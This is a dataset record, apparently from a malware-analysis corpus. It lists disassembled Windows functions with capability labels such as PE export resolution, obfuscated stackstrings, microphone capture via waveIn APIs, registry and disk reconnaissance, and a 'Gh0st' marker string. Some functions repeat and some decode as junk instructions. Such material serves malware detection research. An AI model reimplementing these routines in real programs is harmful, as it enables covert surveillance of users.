joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4005ce71
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4005ce93
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4005ce93
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4005ce93
ret
cmp word [ebx + 4], 0x14c
jne 0x4005ce93
test word [ebx + 0x16], 2
je 0x4005ce93
test word [ebx + 0x16], 0x100
je 0x4005ce93
cmp word [ebx + 0x18], 0x10b
jne 0x4005ce93
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4005ce93
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4005cf1f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4005ceb3
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.40043dfe
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4005ce93
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4005cf1f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4005ce93
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4005ce93
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4005ce93
ret
cmp word [ebx + 4], 0x14c
jne 0x4005ce93
test word [ebx + 0x16], 2
je 0x4005ce93
test word [ebx + 0x16], 0x100
je 0x4005ce93
cmp word [ebx + 0x18], 0x10b
jne 0x4005ce93
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4005ce93
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4005cf1f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4005ceb3
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.40043dfe
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4005ce93
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x4005cfd6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4005d02f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4005cfd6
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4005cfe5
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x40462c88
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4005d036
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.40043eac
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4005d0d5
add edi, 4
add eax, 2
dec ecx
jne 0x4005d01b
call 0x4005d082
loope 0x4005d078
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4005d0d2
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4005d0e3
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4005d096
cmp eax, ecx
ja 0x4005d096
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4005d120
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4005d116
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.4004438b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4005cfe5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4005d02f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4005cfd6
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4005cfe5
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x40462c88
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4005d036
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.40043eac
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4005d0d5
add edi, 4
add eax, 2
dec ecx
jne 0x4005d01b
call 0x4005d082
loope 0x4005d078
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4005d0d2
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4005d0e3
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4005d096
cmp eax, ecx
ja 0x4005d096
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4005d120
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4005d116
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.4004438b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10001030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x20]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov dword [esi], 0x100152b0
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], bl
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], bl
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WINMM.dll
mov edi, eax
call ebp
push ebx
push ebx
push ebx
push ebx
mov dword [0x1001a654], eax
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 4], 0x3e8
mov byte [esi + 0x44], bl
mov byte [esi + 0x45], bl
lea edi, [esi + 0x30]
mov ebp, 2
mov edx, dword [esi + 4]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi], eax
mov eax, dword [esi + 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi + 8], eax
add esp, 0x10
add edi, 4
dec ebp
jne 0x10001114
lea eax, [esi + 0x46]
xor ecx, ecx
mov edx, eax
pop edi
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov word [eax], 0x31
mov word [esi + 0x48], 1
mov dword [esi + 0x4a], 0x1f40
mov dword [esi + 0x4e], 0x659
mov word [esi + 0x52], 0x41
mov word [esi + 0x54], bx
mov word [esi + 0x56], 2
mov word [esi + 0x58], 0x140
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x100011c0
Capabilities:
Link many functions at runtime
Terminate thread

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x100180cc
mov dword [esi], 0x100152b0
call edi
mov eax, dword [0x1001a654]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
push str.waveInReset
push eax
call ebx
push 0x100180cc
mov dword [esp + 0x18], eax
call edi
mov ecx, dword [0x1001a654]
add esp, 4
push str.waveInStop
push ecx
call ebx
push 0x100180cc
mov dword [esp + 0x14], eax
call edi
mov edx, dword [0x1001a654]
add esp, 4
push str.waveInClose
push edx
call ebx
push 0x100180cc
mov dword [esp + 0x1c], eax
call edi
mov eax, dword [0x1001a654]
add esp, 4
push str.waveInUnprepareHeader
push eax
call ebx
push 0x100180cc
mov ebp, eax
call edi
mov ecx, dword [0x1001a654]
add esp, 4
push str.waveOutReset
push ecx
call ebx
push 0x100180cc
mov dword [esp + 0x24], eax
call edi
mov edx, dword [0x1001a654]
add esp, 4
push str.waveOutClose
push edx
call ebx
push 0x100180cc
mov dword [esp + 0x28], eax
call edi
mov eax, dword [0x1001a654]
add esp, 4
push str.waveOutUnprepareHeader
push eax
call ebx
mov ebx, eax
mov al, byte [esi + 0x44]
test al, al
mov dword [esp + 0x1c], ebx
je 0x100012e4
mov ecx, dword [esi + 0x18]
push ecx
call dword [esp + 0x14]
mov edx, dword [esi + 0x18]
push edx
call dword [esp + 0x18]
lea edi, [esi + 0x30]
mov ebx, 2
mov eax, dword [edi]
mov ecx, dword [esi + 0x18]
push 0x20
push eax
push ecx
call ebp
add edi, 4
dec ebx
jne 0x100012bb
mov edx, dword [esi + 0x18]
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x2c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [esp + 0x1c]
mov al, byte [esi + 0x45]
test al, al
je 0x10001314
mov ecx, dword [esi + 0x40]
push ecx
call dword [esp + 0x24]
lea edi, [esi + 0x30]
mov ebp, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x40]
push 0x20
push edx
push eax
call ebx
add edi, 4
dec ebp
jne 0x100012fb
mov ecx, dword [esi + 0x40]
push ecx
call dword [esp + 0x28]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi - 0x28]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [edi]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [edi - 0x20]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [edi + 8]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000131c
mov eax, dword [esi + 0x24]
push eax
call dword [0x1001a650]
mov ecx, dword [esi + 0x28]
push ecx
call dword [0x1001a650]
mov edx, dword [esi + 0x2c]
push edx
call dword [0x1001a650]
mov eax, dword [0x1001a654]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x10001470
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
mov eax, dword [0x1001a654]
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call esi
call eax
test eax, eax
jne 0x1000149c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov ecx, dword [0x1001a654]
push str.waveInOpen
push ecx
call esi
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push 4
push edi
push 0x10001660
push 0
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2c], eax
mov eax, dword [esp + 0x10]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call ebp
test eax, eax
je 0x100014f7
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov edx, dword [0x1001a654]
push str.waveInPrepareHeader
push edx
call esi
mov dword [esp + 0x14], eax
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [esp + 0x20]
add esi, 4
dec ebp
jne 0x10001511
mov edx, dword [0x1001a654]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push edx
call esi
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x1001a654]
push str.waveInStart
push eax
call esi
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x10001e40
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100148d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001a10
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], ebx
call fcn.10001a10
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001a10
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001a10
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x100152c8
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], dl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [0x1001a610]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
add esp, 4
push ebx
push ebx
push 1
push ebx
call edi
push 0x30
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], bl
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x68
mov byte [esp + 0x12], 0x30
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x74
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret
Function at 0x10002ae0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002b88
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x10018224
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002bd0
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002bd0
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002bd0
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x10004010
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100152e8
push 0x10014378
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10004178
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100040c7
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100040c7
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040a2
cmp al, 0x5c
je 0x100040a2
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x1000408a
cmp byte [esi], 0
je 0x100040ab
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040c0
cmp al, 0x5c
je 0x100040c0
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100040a8
cmp byte [esi], 0
je 0x100040e6
jmp 0x100040e2
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100040e6
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100040e6
cmp al, 0x5c
jne 0x100040e6
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x1000413c
cmp al, 0x5c
jne 0x1000412e
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10004121
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1000412b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000412b
push edi
jmp 0x1000416f
and eax, 0x10
cmp al, 0x10
je 0x1000412b
push edi
jmp 0x1000416f
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100040ec
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004200
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push pe_nt_image_headers32
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x100043be
jmp 0x1000427b
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x1000432b
cmp al, 0x42
je 0x1000432b
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000432b
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10014380
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10014380
mov dword [esp + 0x14], eax
jmp 0x10004331
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10004279
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10008020
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret